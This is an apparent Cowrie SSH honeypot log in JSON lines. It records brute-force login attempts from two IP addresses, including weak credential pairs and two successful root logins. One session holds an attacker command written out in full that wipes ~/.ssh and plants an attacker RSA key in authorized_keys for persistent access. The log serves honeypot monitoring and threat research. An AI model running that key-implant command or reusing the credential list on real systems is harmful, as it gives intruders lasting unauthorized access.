{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:52:32.870822Z","src_ip":"101.44.96.62","session":"084f8935a82f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123456","message":"login attempt [hadoop/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:52:33.522295Z","src_ip":"101.44.96.62","session":"084f8935a82f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:52:34.741938Z","src_ip":"101.44.96.62","session":"084f8935a82f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.140.212","src_port":57450,"dst_ip":"10.17.0.5","dst_port":22,"session":"07a6efffe640","protocol":"ssh","message":"New connection: 101.47.140.212:57450 (10.17.0.5:22) [session: 07a6efffe640]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:52:41.300858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:52:41.713455Z","src_ip":"101.47.140.212","session":"07a6efffe640","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:52:41.949159Z","src_ip":"101.47.140.212","session":"07a6efffe640","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"123qwea","message":"login attempt [root/123qwea] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:52:42.881741Z","src_ip":"101.47.140.212","session":"07a6efffe640","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:52:43.394800Z","src_ip":"101.47.140.212","session":"07a6efffe640","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:52:43.398182Z","src_ip":"101.47.140.212","session":"07a6efffe640","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:52:43.401879Z","src_ip":"101.47.140.212","session":"07a6efffe640","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:52:43.641094Z","src_ip":"101.47.140.212","session":"07a6efffe640","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:52:44.138529Z","src_ip":"101.47.140.212","session":"07a6efffe640","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:52:44.140935Z","src_ip":"101.47.140.212","session":"07a6efffe640","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:52:44.380892Z","src_ip":"101.47.140.212","session":"07a6efffe640","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:52:44.384302Z","src_ip":"101.47.140.212","session":"07a6efffe640","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.140.212","src_port":57464,"dst_ip":"10.17.0.5","dst_port":22,"session":"db674d092103","protocol":"ssh","message":"New connection: 101.47.140.212:57464 (10.17.0.5:22) [session: db674d092103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:52:44.628745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:52:44.633038Z","src_ip":"101.47.140.212","session":"db674d092103","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:52:44.876431Z","src_ip":"101.47.140.212","session":"db674d092103","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:52:45.879671Z","src_ip":"101.47.140.212","session":"db674d092103","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":60670,"dst_ip":"159.203.135.109","dst_port":22,"session":"13f1354df54e","protocol":"ssh","message":"New connection: 101.44.96.62:60670 (159.203.135.109:22) [session: 13f1354df54e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:52:46.070187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:52:46.074470Z","src_ip":"101.44.96.62","session":"13f1354df54e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:52:46.290264Z","src_ip":"101.44.96.62","session":"13f1354df54e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tools","password":"tools123","message":"login attempt [tools/tools123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:52:46.932638Z","src_ip":"101.44.96.62","session":"13f1354df54e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:52:47.125132Z","src_ip":"101.47.140.212","session":"db674d092103","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.140.212","src_port":42300,"dst_ip":"10.17.0.5","dst_port":22,"session":"4da3cb2ab4ff","protocol":"ssh","message":"New connection: 101.47.140.212:42300 (10.17.0.5:22) [session: 4da3cb2ab4ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:52:47.365149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:52:47.368826Z","src_ip":"101.47.140.212","session":"4da3cb2ab4ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:52:47.611684Z","src_ip":"101.47.140.212","session":"4da3cb2ab4ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:52:48.148884Z","src_ip":"101.44.96.62","session":"13f1354df54e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:52:48.618606Z","src_ip":"101.47.140.212","session":"4da3cb2ab4ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:52:48.856772Z","src_ip":"101.47.140.212","session":"07a6efffe640","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:52:48.864772Z","src_ip":"101.47.140.212","session":"4da3cb2ab4ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":35616,"dst_ip":"159.203.135.109","dst_port":22,"session":"742db82db823","protocol":"ssh","message":"New connection: 101.44.96.62:35616 (159.203.135.109:22) [session: 742db82db823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:52:59.502970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:52:59.507249Z","src_ip":"101.44.96.62","session":"742db82db823","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:52:59.724124Z","src_ip":"101.44.96.62","session":"742db82db823","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:53:00.376605Z","src_ip":"101.44.96.62","session":"742db82db823","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:53:01.597177Z","src_ip":"101.44.96.62","session":"742db82db823","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":34400,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce2da5b429e2","protocol":"ssh","message":"New connection: 101.44.96.62:34400 (159.203.135.109:22) [session: ce2da5b429e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:53:13.012880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:53:13.017338Z","src_ip":"101.44.96.62","session":"ce2da5b429e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:53:13.238002Z","src_ip":"101.44.96.62","session":"ce2da5b429e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"www","message":"login attempt [www/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:53:13.892200Z","src_ip":"101.44.96.62","session":"ce2da5b429e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:53:15.113215Z","src_ip":"101.44.96.62","session":"ce2da5b429e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":55906,"dst_ip":"159.203.135.109","dst_port":22,"session":"087a4666d143","protocol":"ssh","message":"New connection: 101.44.96.62:55906 (159.203.135.109:22) [session: 087a4666d143]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:53:26.516195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:53:26.519535Z","src_ip":"101.44.96.62","session":"087a4666d143","protocol":"ssh"}
